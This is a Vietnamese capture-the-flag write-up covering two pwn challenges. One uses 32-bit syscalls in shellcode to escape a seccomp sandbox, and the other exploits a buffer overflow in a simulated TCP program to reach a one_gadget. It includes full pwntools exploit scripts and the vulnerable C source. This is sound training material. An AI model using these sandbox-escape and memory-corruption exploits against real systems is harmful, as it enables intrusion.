---
# System prepended metadata

title: Wanna.W1n Recruit CTF

---

# Wanna.W1n Recruit CTF

## escape
**Author: kur0**
![image](https://hackmd.io/_uploads/BJU4xnE-le.png)

Mở ida lên thì ta thấy ở đây là bài nhập shellcode và thực thi shellcode.

![image](https://hackmd.io/_uploads/HJp1fn4beg.png)
![image](https://hackmd.io/_uploads/H1G0-3NZeg.png)

Ta thấy ở đây có sandbox và nên ta dùng seccomp dump để xem các lệnh bị cấm
![image](https://hackmd.io/_uploads/Hk9lbhNWex.png)
Sau khi dump ra thì ta thấy chúng hầu hết ban hết các lệnh cơ bản có thể dùng để mở file flag
![image](https://hackmd.io/_uploads/Bkxz7734-ex.png)

Kết hợp từ hint và sau khi kiếm các wu về các bài có sandbox thì em nhận ra sự khác biệt là: **if (A != ARCH_X86_64)**
![image](https://hackmd.io/_uploads/HkxuN2EWlx.png)

Từ đây suy luận ra việc chúng ta không nhất thiết phải dùng kiến trúc 64bit (arch_x86_64) mà chúng ta có thể dùng kiến trúc 32bit (arch_x86) nên chúng ta tiến hành tạo shellcode và chạy thử.
Lưu ý khi tạo shellcode phải không chứa ký tự ```'\n'``` và ```NULL```![image](https://hackmd.io/_uploads/Sy9kOhN-eg.png)


**Script:**
```python3=
 #!/usr/bin/env python3
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

def conn():
    if args.LOCAL:
        r = process('./escape')
        # gdb.attach(r)
    else:
        r = remote("ctf.cnsc.com.vn", 32954)
    return r

def main():
    p = conn()
    # gdb.attach(p)

    shellcode = asm("""
    xor  rsi, rsi         
    mov  esi, 0xbabe058   
    xor  rax, rax         
    mov  ax, 0xcafe      
    shl  rax, 28       
    or   rsi, rax         
    mov  rsp, rsi

    xor ecx, ecx
    mov rcx, 0x67616c66
    push rcx
    mov ebx, esp
    xor ecx, ecx
    xor eax, eax
    mov al, 5
    int 0x80

    xchg eax, ebx
    mov ecx, esp
    mov dl, 0x3f
    inc edx
    xor eax, eax
    mov al, 3
    int 0x80

    mov edx, eax
    mov ecx, esp
    mov bl, 1
    xor eax, eax
    mov al, 4
    int 0x80
    """)

    p.sendlineafter(b'Choose an option:', b'1')
    p.sendlineafter(b'Send me your shellcode:', shellcode)
    p.sendlineafter(b'option:', b'2')
    p.interactive()

if __name__ == "__main__":
    main()
```

Ban đầu em trỏ ```rsp``` vào 1 vùng nhớ có full quyền mà author đã ```mmap``` sẵn ```v6 = mmap((void *)0xCAFEBABE000LL, 0x1000uLL, 7, 34, 0, 0LL);``` để có thể ```push``` lên cho tiện. Nhưng nó không ra flag nên em debug thì có thấy rằng sau khi ```open``` thì thanh ghi ```rax = 0xfffffffffffffff2``` thì đây là lỗi ```bad address```
![image](https://hackmd.io/_uploads/SyPTO3EZel.png)

Từ đó em kiểm tra và nhớ lại rằng khi dùng cấu trúc 32bit thì các thanh ghi nó sử dụng cũng phải 32bit luôn vậy nên khi em trỏ ```rsp vào 0xCAFEBABE058``` thì thật ra khi ```int 0x80``` thì ```esp = 0xEBABE058```. Từ đó em nghĩ đến việc dùng ```mmap``` để tạo riêng 1 vùng chỉ sử dụng 32bit ```mmap((void *)0x12345678LL, 0x1111uLL, 7, 34, 0, 0LL);```

**Script hoàn chỉnh:**
```python3=
 #!/usr/bin/env python3
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

def conn():
    if args.LOCAL:
        r = process('./escape')
        # gdb.attach(r)
    else:
        r = remote("ctf.cnsc.com.vn", 32954)
    return r

def main():
    p = conn()
    # gdb.attach(p)

    shellcode = asm("""
    xor rax, rax
    xor rbx, rbx
    xor rcx, rcx
    xor rdx, rdx
    xor rsi, rsi
    xor rdi, rdi
    xor r15, r15
    xor r14, r14
    xor r13, r13
    xor r12, r12
    xor r11, r11
    xor r10, r10
    xor r9, r9
    xor r8, r8


    mov edi, 0x12345678
    mov si, 0x1111
    mov dl, 0x7
    xor r9, r9
    mov r10b, 0x22
    mov al, 9
    syscall

    mov esi, 0x12346789
    mov esp, esi

    xor ecx, ecx
    mov r10, 0xffffff989e9399d0
    xor r10, 0xffffffffffffffff
    push r10
    xor r10, r10
    mov ebx, esp

    xor ecx, ecx
    xor eax, eax
    mov al, 5
    int 0x80

    xchg eax, ebx
    mov ecx, esp
    mov dl, 0x3f
    inc edx
    xor eax, eax
    mov al, 3
    int 0x80

    mov edx, eax
    mov ecx, esp
    mov bl, 1
    xor eax, eax
    mov al, 4
    int 0x80
    """)

    p.sendlineafter(b'Choose an option:', b'1')
    p.sendlineafter(b'Send me your shellcode:', shellcode)
    # input()
    p.sendlineafter(b'option:', b'2')
    p.interactive()

if __name__ == "__main__":
    main()
```
![image](https://hackmd.io/_uploads/rJG0EpVWgx.png)
**Flag: W1{Esc4p3_5ecc0mp_was_3a5y!!!_fjJbKwkmHX}**



## Take control, pwner!
**Author: an3ii11**
![image](https://hackmd.io/_uploads/rJzHpCbWee.png)

<details>
  <summary>Nhấn vào đây để xem code C</summary>

```clike=
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
// https://www.geeksforgeeks.org/tcp-ip-packet-format/

typedef struct {
  uint16_t source_port;
  uint16_t destination_port;
  uint32_t sequence_number;
  uint32_t acknowledgement_number;
  uint16_t offset_flags;
  uint16_t congestion_window;
  uint16_t checksum;
  uint16_t urgent_pointer;
} tcp_header;

typedef struct {
  tcp_header header;
  char data[0x400];
} tcp_packet;

enum control_flag {
  FIN = 0x00000001,
  SYN = 0x00000002,
  RST = 0x00000004,
  PSH = 0x00000008,
  ACK = 0x00000010,
  URG = 0x00000020,
};

uint16_t client_port;
uint16_t server_port;

int pipe_fd1[2];
int pipe_fd2[2];

int curr_SEQ;
int curr_ACK;

void init() {
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
  setvbuf(stderr, 0, _IONBF, 0);
}

uint16_t offset(int offs) { return offs << 12; }

uint16_t carry_around_add(uint16_t a, uint16_t b) {
  int c = a + b;
  return (c & 0xffff) + (c >> 16);
}

uint16_t calculate_checksum(tcp_packet *packet) {
  uint16_t old_checksum = packet->header.checksum;
  packet->header.checksum = 0;
  const char *as_char = (char *)packet;
  uint16_t res = 0;
  for (int i = 0; i < sizeof(tcp_packet); i += 2) {
    res = carry_around_add(res, *(uint16_t *)as_char);
  }
  packet->header.checksum = old_checksum;
  return ~res;
}

int client_send(char *data, int nbytes) {
  return write(pipe_fd1[1], &nbytes, 4) > 0 &&
         write(pipe_fd1[1], data, nbytes) > 0;
}

int client_recv(char *buf) {
  int nbytes = 0;
  int res =
      read(pipe_fd2[0], &nbytes, 4) > 0 && read(pipe_fd2[0], buf, nbytes) > 0;
  return ((tcp_packet *)buf)->header.checksum ==
             calculate_checksum((tcp_packet *)buf) &&
         res;
}

int server_send(char *data, int nbytes) {
  return write(pipe_fd2[1], &nbytes, 4) > 0 &&
         write(pipe_fd2[1], data, nbytes) > 0;
}

int server_recv(char *buf, int *size) {
  int nbytes = 0;
  int res = read(pipe_fd1[0], &nbytes, 4) > 0 &&
            read(pipe_fd1[0], buf, nbytes) > 0 && (*size = nbytes);
  return ((tcp_packet *)buf)->header.checksum ==
             calculate_checksum((tcp_packet *)buf) &&
         res;
}

void client() {
  char raw_data[0x800];
  char received_data[0x800];
  tcp_packet syn_packet = {
      client_port, server_port, 0, -1, offset(0x20) | SYN, 0x400, 0, 0,
  };
  syn_packet.header.checksum = calculate_checksum(&syn_packet);

  tcp_packet data_packet1 = {
      client_port, server_port, 1, 1, offset(0x20) | ACK, 0x400, 0,
  };

  tcp_packet fin_packet = {
      client_port, server_port, 1, 1, offset(0x20) | FIN, 0x400, 0,
  };

  tcp_packet data_packet2 = {
      client_port, server_port, 1, 1, offset(0x20) | ACK, 0x400, 0,
  };

  int nbytes = 0;

  puts("[+ CLIENT] Developing connection.");
  puts("[+ CLIENT] Requesting connection from server.");
  if (!client_send((char *)&syn_packet, sizeof(tcp_header))) {
    puts("[+ CLIENT] Developing connection failed.");
    exit(-1);
  }
  puts("[+ CLIENT] Waiting for SYNACK from server");
  if (client_recv(received_data) &&
      ((tcp_packet *)received_data)->header.offset_flags & (SYN | ACK)) {
    puts("[+ CLIENT] Received SYNACK from server. Connection successfully "
         "developed.");
  } else {
    puts("[+ CLIENT] Failed developing connection.");
    exit(-1);
  }
  printf("Enter data: ");
  nbytes = read(STDIN_FILENO, raw_data, 0x800);
  printf("[+ CLIENT] Sending data: %s\n", raw_data);

  if (nbytes <= 0x400) {
    memcpy(data_packet1.data, raw_data, nbytes);
    puts("[+ CLIENT] Calculating checksum.");
    data_packet1.header.checksum = calculate_checksum(&data_packet1);
    puts("[+ CLIENT] Sending data to server.");
    if (!client_send((char *)&data_packet1, nbytes + sizeof(tcp_header))) {
      puts("[+ CLIENT] Failed sending data to server.");
      exit(-1);
    }
    puts("[+ CLIENT] Sending data succeeds.");
  } else {
    puts("[+ CLIENT] Data length is larger than congestion window. Seperating "
         "into 2 packets.");
    memcpy(data_packet1.data, raw_data, 0x400);
    memcpy(data_packet2.data, raw_data + 0x400, nbytes - 0x400);
    puts("[+ CLIENT] Calculating checksum.");
    data_packet1.header.checksum = calculate_checksum(&data_packet1);
    data_packet2.header.checksum = calculate_checksum(&data_packet2);
    data_packet2.header.sequence_number = 0x400;
    char *tmp = malloc(sizeof(tcp_packet) * 2);
    memcpy(tmp, &data_packet1, sizeof(tcp_packet));
    memcpy(tmp + sizeof(tcp_packet), &data_packet2,
           sizeof(tcp_header) + nbytes - 0x400);
    puts("[+ CLIENT] Sending data to server.");
    if (!client_send(tmp, nbytes + sizeof(tcp_header) * 2)) {
      puts("[+ CLIENT] Failed sending data to server.");
      exit(-1);
    }
    puts("[+ CLIENT] Sending data succeeds.");
    free(tmp);
  }
  puts("[+ CLIENT] Waiting response from server");
  if (client_recv(received_data) &&
      ((tcp_packet *)received_data)->header.offset_flags & ACK)
    puts("[+ CLIENT] Received ACK from server. Data sent successfully.");
  else {
    puts("[+ CLIENT] Did not receive ACK from server. Internal server error.");
    exit(-1);
  }
}

void server() {
  char *tmp = malloc(0x1000);
  char received_data[0x800 + sizeof(tcp_header)];


  int nbytes;
  int received_len = 0;
  tcp_packet fin_packet = {
      client_port, server_port, 1, 1, offset(0x20) | FIN, 0x400, 0,
  };

  tcp_packet syn_ack_packet = {
      client_port, server_port, 1, 1, offset(0x20) | SYN | ACK, 0x400, 0,
  };
  syn_ack_packet.header.checksum = calculate_checksum(&syn_ack_packet);
  tcp_packet ack_packet = {
      client_port, server_port, 1, 1, offset(0x20) | ACK, 0x400, 0,
  };

  puts("[+ SERVER] Waiting for SYN packet from client.");
  if (!server_recv(received_data, &nbytes) ||
      (((tcp_packet *)received_data)->header.offset_flags & SYN) == 0) {
    puts("[+ SERVER] Did not receive SYN packet from client. Failed developing "
         "connection.");
    exit(-1);
  }
  puts("[+ SERVER] Received SYN packet from client. Sending back SYNACK "
       "packet.");
  if (!server_send((char *)&syn_ack_packet, sizeof(tcp_header))) {
    puts("[+ SERVER] Failed sending SYNACK to client");
    exit(-1);
  }
  puts("[+ SERVER] Sending SYNACK packet succeeds.");
  puts("[+ SERVER] Waiting for ACK packet from client.");
  if (!server_recv(received_data, &nbytes) ||
      (((tcp_packet *)received_data)->header.offset_flags & ACK) == 1) {
    puts("[+ SERVER] Did not receive ACK from client.");
    exit(-1);
  }
  puts("[+ SERVER] Received ACK from client");
  if (nbytes < sizeof(tcp_packet)) {
    memcpy(tmp, ((tcp_packet *)received_data)->data,
           nbytes - sizeof(tcp_header));
    ack_packet.header.acknowledgement_number = nbytes - sizeof(tcp_header);
  } else {
    memcpy(tmp, ((tcp_packet *)received_data)->data, 0x400);
    memcpy(tmp + sizeof(tcp_packet),
           ((tcp_packet *)(received_data + sizeof(tcp_packet)))->data,
           nbytes - 0x400 - sizeof(tcp_header) * 2);
    ack_packet.header.acknowledgement_number =
        nbytes - sizeof(tcp_header) * 2 - 0x400;
  }
  ack_packet.header.checksum = calculate_checksum(&ack_packet);
  printf("[+ SERVER] Data received: %s", tmp);
  puts("[+ SERVER] Sending back ACK to client");
  if (!server_send((char *)&ack_packet, sizeof(tcp_header))) {
    puts("[+ SERVER] Failed sending ACK to client");
    exit(-1);
  }
}

void start_routine() {
  if (pipe(pipe_fd1) == -1 || pipe(pipe_fd2) == -1) {
    perror("Error creating pipe. Exiting");
    exit(-1);
  }
  pid_t pid = fork();
  if (fork < 0) {
    perror("Error forking process. Exiting");
    exit(-1);
  }
  if (pid > 0) {
    while (1) {
      client();
      char c;
      printf("Continue? [y/n]\n");
      c = getchar();
      getchar();
      if (c == 'n') {
        kill(pid, 9);
        break;
      }
    }
  } else
    while (1)
      server();
}

int main(int argc, char *argv[]) {
  init();
  puts("This is a super simplified TCP transport protocol simulation.");
  printf("Enter client port: ");
  scanf("%hd", &client_port);
  printf("Enter server port: ");
  scanf("%hd", &server_port);
  getchar();
  start_routine();
  return EXIT_SUCCESS;
}

```
</details>
    
Đầu tiên ta thấy đây là 1 chương trình khá dài, tóm gọn chương trình đang mô phỏng 1 phiên làm việc của TCP
    
Phân tích hàm ```server()``` và ```client()```
Ở đây ta thấy được ```server_recv``` 2 TCP packet có độ lớn là: ```0x400 + 0x14```
![image](https://hackmd.io/_uploads/S1a1lSG-gl.png)
Nhưng recveived_data chỉ được khai báo ```0x800 + sizeof(tcp_header)``` tức ```0x800 + 0x14```. Vậy từ đó có thể ghi đè qua ```tmp```
![image](https://hackmd.io/_uploads/B164xJfWgl.png)
    
Ở đây ta thấy ta có thể tận dụng ```printf``` để leak ra data mà ta cần vì printf sẽ in đến khi nào gặp được ```\0```
![image](https://hackmd.io/_uploads/S1I92gBWll.png)

Sau 1 hồi debug và spam linh tinh thì em leak được stack, libc từ đó kết hợp cùng với one_gadget

![image](https://hackmd.io/_uploads/B157gZBWxl.png)
Nhờ việc ghi đè được lên ```tmp``` ta tận dụng memcpy để chuyển hướng return_address (tính được khi leak được stack) -> one_gadget
    
    
**Script:***
```python3=
#!/usr/bin/env python3

from pwn import *

exe = ELF("./take_control_pwner")
# libc = ELF("./libc.so.6", checksec=False)
# ld = ELF("./ld-linux-x86-64.so.2", checksec=False)

context.binary = exe
# context.log_level = 'debug'

def conn():
    if args.LOCAL:
        r = process([exe.path])
    else:
        r = remote("addr", 1337)

    return r


def main():
    p = conn()
    sc = '''
    set follow-fork-mode parent
    b* client+629
    c
    '''
    sc = '''
    set follow-fork-mode child
    '''
    # gdb.attach(p, gdbscript = sc)

    def leaking():
        data = p.recvline()[:-1]
        something = u64(data.ljust(8, b'\x00'))
        return something

    p.sendlineafter(b'Enter client port: ', b'1337')
    p.sendlineafter(b'Enter server port: ', b'1337')
    payload = 0x38 * b'A'
    # payload = 0x8 * b'A'
    # payload = b'hnnef'
    p.sendafter(b'Enter data:', payload)
    # p.sendlineafter(b'Continue? [y/n]', b'y')
    # p.sendafter(b'Enter data:', payload)
    p.recvuntil(b'[+ CLIENT] Sending data: ' + payload)
    something = leaking()
    # print(hex(something))
    libc_base = something - 0x11c574
    one_gadget = libc_base + 0xebd43
    xor_rax = libc_base + 0x00000000000baaf9
    log.info(f"libc_base: {hex(libc_base)}")
    log.info(f"one_gadget: {hex(one_gadget)}")
    log.info(f"xor_rax: {hex(xor_rax)}")



    p.sendlineafter(b'Continue? [y/n]', b'y')
    payload = 0x738 * b'A'
    p.sendafter(b'Enter data:', payload)
    p.recvuntil(b'[+ CLIENT] Sending data: ' + payload)
    stack = leaking()
    ret_addr = stack - 0x8
    log.info(f"stack: {hex(stack)}")
    log.info(f"ret_addr: {hex(ret_addr)}")

    p.sendlineafter(b'Continue? [y/n]', b'y')
    new_rbp = stack - 0x5000
    log.info(f"new_rbp: {hex(new_rbp)}")
    payload = flat(
        p64(xor_rax),
        p64(one_gadget),
        p64(0) * 252,
        p64(ret_addr)
    )
    p.sendafter(b'Enter data:', payload)


    p.interactive()


if __name__ == "__main__":
    main()
```
